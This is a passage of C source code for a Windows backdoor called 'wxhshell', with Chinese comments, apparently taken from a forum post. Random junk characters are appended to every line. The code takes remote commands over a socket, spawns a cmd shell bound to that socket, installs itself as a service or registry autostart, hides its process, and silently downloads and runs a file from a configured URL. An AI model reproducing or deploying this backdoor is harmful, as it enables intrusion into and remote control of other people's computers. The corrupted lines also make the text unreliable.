  send(wsh,msg_ws_err,strlen(msg_ws_err),0); QOMh"wC3  
  else {'T=&`&OF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q u{#4qToA  
  } _Uc le  
  else { j'g':U  
> -OQk"o  
    switch(cmd[0]) { #}3$n/  
  WbB0{s  
  // 帮助 +Ccj @#M;  
  case '?': { 6"b =aPTi  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @Pb!:HeJE  
    break; U:"E:Bxz;m  
  } 30bScW<08  
  // 安装 :A.dlesv6  
  case 'i': { /Ii a>XY  
    if(Install()) 4vQ]7`I.f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sz9C':`W  
    else Tapj7/0`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %3!DRz  
    break; g4^=Q'j-  
    } 4*&_h g)h  
  // 卸载 '#L.w6<B  
  case 'r': { \L Gj]mb1  
    if(Uninstall()) V*U{q%p(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ey4%N`H-^  
    else bVaydJ*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x8|sdZFxo  
    break; `KgIr,Q)  
    } HG{r\jh  
  // 显示 wxhshell 所在路径 W{B)c?G]  
  case 'p': { ~ (I'm[  
    char svExeFile[MAX_PATH]; 2|8e7q:+*  
    strcpy(svExeFile,"\n\r"); Hx5t![g2K!  
      strcat(svExeFile,ExeFile); ckG`^<  
        send(wsh,svExeFile,strlen(svExeFile),0); 9)}Nx>K  
    break; vau0Jn%=ck  
    } z)*7LI  
  // 重启 >VIb|YA  
  case 'b': { XR3=Y0YDf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kqdF)Wa am  
    if(Boot(REBOOT)) kwF4I )6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1 w*DU9f  
    else { U51C /A  
    closesocket(wsh); Q4i@y6z  
    ExitThread(0); ;w--fqxVl  
    } Pv,Q*gh`  
    break; LX5, _`B  
    } ]#x!mZ!  
  // 关机 b+7!$  
  case 'd': { Y=94<e[f"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); no ).70K  
    if(Boot(SHUTDOWN)) M@%$9N)gd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); av~dH=&=  
    else { &iYy  
    closesocket(wsh); 3z5w}qN] M  
    ExitThread(0); W(.q. Sx>  
    } >..C^8 "  
    break; m$6u K0  
    } F6,[!.wl  
  // 获取shell ) bRj'*  
  case 's': { )4u6{-|A  
    CmdShell(wsh); AT$eTZ]M  
    closesocket(wsh); Cp{ j+Ia  
    ExitThread(0); Ky(=O1Ufu  
    break; ixJ%wnz  
  } ':Avh|q3N  
  // 退出 6'E3Q=}d  
  case 'x': { Teo&V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (^,4{;YQ5  
    CloseIt(wsh); u6tD5Y  
    break; !5FZxmUup  
    } y{{7)G  
  // 离开 Tp-<!^o4  
  case 'q': { ,-({m'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :70n%3a  
    closesocket(wsh); bUJ5j kZ)  
    WSACleanup(); fiG/ "/u  
    exit(1); gN./u   
    break; _\mMgZu  
        } %uA\Le  
  } [(Jj@HlP6T  
  } GBMCw  
SI-G7e)3;>  
  // 提示信息 VEUdw(-?s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @-9u;aL  
} HH`G/(a  
  } (rDB|kc^7  
T;{M9W+  
  return; c^Y&4=>T  
} wlvhDJ  
e[`u:  
// shell模块句柄 Qqju6}+  
int CmdShell(SOCKET sock) P01o:/}  
{ {-FS+D`  
STARTUPINFO si; ^dc~hD  
ZeroMemory(&si,sizeof(si)); !w+A3Z>V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r0 mXRZC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <]9%Pm#X  
PROCESS_INFORMATION ProcessInfo; =~7%R.U([e  
char cmdline[]="cmd"; fYv= yP~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F?>rWP   
  return 0; ~QVN^8WPg  
} I)9un|+,y  
!+Ia#(  
// 自身启动模式 \:`'!X1*U  
int StartFromService(void) r&qF v)0!`  
{ OanHG  
typedef struct r@j$$Pk`  
{ d`M]>EDXp  
  DWORD ExitStatus; zzq7?]D  
  DWORD PebBaseAddress; \(m_3 H  
  DWORD AffinityMask; aDXdr\ C6  
  DWORD BasePriority; 1K<4Kz~  
  ULONG UniqueProcessId; kZ^}  
  ULONG InheritedFromUniqueProcessId; g8I=s7cnb  
}   PROCESS_BASIC_INFORMATION; y:\ ^[y IQ  
zQ[g*  
PROCNTQSIP NtQueryInformationProcess; )qi/>GR,  
*&i SW~s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [5KzawV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N|G=n9p  
^Md]e<WAp  
  HANDLE             hProcess; u2p5* gzZ  
  PROCESS_BASIC_INFORMATION pbi; ~[E@P1  
O^tH43C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "!\ON)l*  
  if(NULL == hInst ) return 0; SHM ?32'  
!`S`%\"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BPFd'- O)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UD 0v ia  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [#}A]1N  
}4 p3m]   
  if (!NtQueryInformationProcess) return 0; Ib$*w)4:  
d~ lB4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BC/oh+FW3  
  if(!hProcess) return 0; %FN3/iM  
t6zc$0-j "  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B5- G.Z  
?52{s"N0>  
  CloseHandle(hProcess); 'eKvt5&@  
N{lj"C]L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /hC[>t<  
if(hProcess==NULL) return 0; jQrj3b.NC3  
^\Bm5QkS  
HMODULE hMod; ]}K\&ho2  
char procName[255]; BseK?`]U"  
unsigned long cbNeeded; %]~XbO  
K2= `.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pI__<  
l?_h(Cq<  
  CloseHandle(hProcess); '/Y D$*,  
j_r?4k  
if(strstr(procName,"services")) return 1; // 以服务启动 _;8aiZt|u  
ah82S)a`}  
  return 0; // 注册表启动 =N _7DT  
} P|rsq|',  
Afpj*o  
// 主模块 i&|fGX?-I  
int StartWxhshell(LPSTR lpCmdLine) gH{X?  
{ &) '5_#S  
  SOCKET wsl; .Pp;%  
BOOL val=TRUE; mPl2y3m%  
  int port=0; t#kPEiD  
  struct sockaddr_in door; i\4Qv"%  
||{V*"+\  
  if(wscfg.ws_autoins) Install(); 5kX#qT=  
;g-L2(T05;  
port=atoi(lpCmdLine); m\3r<*q6  
Bl)znJ^  
if(port<=0) port=wscfg.ws_port; Rnl 4  
^LA.Y)4C2%  
  WSADATA data; 2>Uy`B|f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ER z@o_  
/(`B;?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /EJwO3MW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (IAc*V~  
  door.sin_family = AF_INET; ^ X&`:f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W{0gtT0  
  door.sin_port = htons(port); =y5~7&9'  
{nyQ]Nu"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cfb8kNn~+  
closesocket(wsl); XM0;cF  
return 1; n?@3+wG  
} 1P"akc  
?q}XD c  
  if(listen(wsl,2) == INVALID_SOCKET) { 9u3~s <  
closesocket(wsl); EYe)d+E*  
return 1; 2TR l @  
} &4aY5y`8+f  
  Wxhshell(wsl); F TB@70  
  WSACleanup(); w(lxq:>"  
gq$]jWtCD  
return 0; 9J"Y   
r#Pkhut  
} 410WWR&4_  
R~z@voM*<  
// 以NT服务方式启动 m,zZe}oJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o_2mSD!  
{ }]-SAM  
DWORD   status = 0; c$<7&{Pb  
  DWORD   specificError = 0xfffffff; =r<0l=  
\\j98(i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8QFn/&Ql$B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i.4L;(cg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v> vU]6l  
  serviceStatus.dwWin32ExitCode     = 0; Rp#9T?i``[  
  serviceStatus.dwServiceSpecificExitCode = 0; Ivw+U-Mz  
  serviceStatus.dwCheckPoint       = 0; $gYy3y  
  serviceStatus.dwWaitHint       = 0; \O]1QM94Y  
myp}DI(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y,v8eOo45S  
  if (hServiceStatusHandle==0) return; J6*Zy[)%&S  
HvITw%`  
status = GetLastError(); yIS.'mK  
  if (status!=NO_ERROR) ;l]OmcL  
{ P,S$qD*4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /o<tmK_m  
    serviceStatus.dwCheckPoint       = 0; w|6;Pf~1y)  
    serviceStatus.dwWaitHint       = 0; jGB2`^&d  
    serviceStatus.dwWin32ExitCode     = status; @!92Ok  
    serviceStatus.dwServiceSpecificExitCode = specificError; dHU#Y,v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x;RjLI4h  
    return; G$ l>By  
  } 6B4s6  
vXUrS+~x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; XxW~4<r  
  serviceStatus.dwCheckPoint       = 0; (t.pM P4  
  serviceStatus.dwWaitHint       = 0; yFt'<{z[nL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cZ(7/Pl  
}  b;!oPT  
st;.Po[h  
// 处理NT服务事件,比如:启动、停止 Fm\ h883\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .uAO k0^z  
{ NN<kO#c+2  
switch(fdwControl) t7VXW{3  
{ N=) E$h  
case SERVICE_CONTROL_STOP: LK8K=AA3P  
  serviceStatus.dwWin32ExitCode = 0; 3r=IO#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cmQLkT"#K  
  serviceStatus.dwCheckPoint   = 0; 9R XT  
  serviceStatus.dwWaitHint     = 0; /rd6p{F  
  { ~rBeJZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %eoO3"//  
  } 4m%RD&ZN  
  return; H79|%@F"  
case SERVICE_CONTROL_PAUSE: U!@3['  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]Y|Y?  
  break; &`7tX.iMlh  
case SERVICE_CONTROL_CONTINUE: (h0i2>K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q9- =>  
  break; )Cuc ]>SC  
case SERVICE_CONTROL_INTERROGATE: j)Z3m @Ii5  
  break; YoD1\a|  
}; cad%:%p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NpRT\cx3  
} /easmf]  
>6XGF(G   
// 标准应用程序主函数 ?YY'-\h?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *iB_$7n`  
{ V@jR8zv|_  
uS3 s  
// 获取操作系统版本 .K(IRWuw  
OsIsNt=GetOsVer(); zosJ=$L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *Yk3y-   
w{[OtGIi3  
  // 从命令行安装 zJ42%0g  
  if(strpbrk(lpCmdLine,"iI")) Install(); JLT ^0wBB  
rj"oz"  
  // 下载执行文件 _20nOg`o  
if(wscfg.ws_downexe) { #vJDb |z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &Y"u*)bm  
  WinExec(wscfg.ws_filenam,SW_HIDE); XW6>;:4k  
} &?(r# T  
ugg08am!  
if(!OsIsNt) { 9)p VDS  
// 如果时win9x,隐藏进程并且设置为注册表启动 RE]u2R6Y  
HideProc(); ,.u7([SGm  
StartWxhshell(lpCmdLine); s OD>mc#%Y  
} _yT Gv-  
else ' }rUbJo  
  if(StartFromService()) 8D eRs#  
  // 以服务方式启动 z65|NO6JW.  
  StartServiceCtrlDispatcher(DispatchTable); sfez0Uqe.~  
else x72bufd  
  // 普通方式启动 @bdGV#* d  
  StartWxhshell(lpCmdLine); /jih;J|  
#SQao;>  
return 0; U7U-H\t7  
}
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级别: 大掌柜
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只看该作者 1 发表于: 2006-10-10
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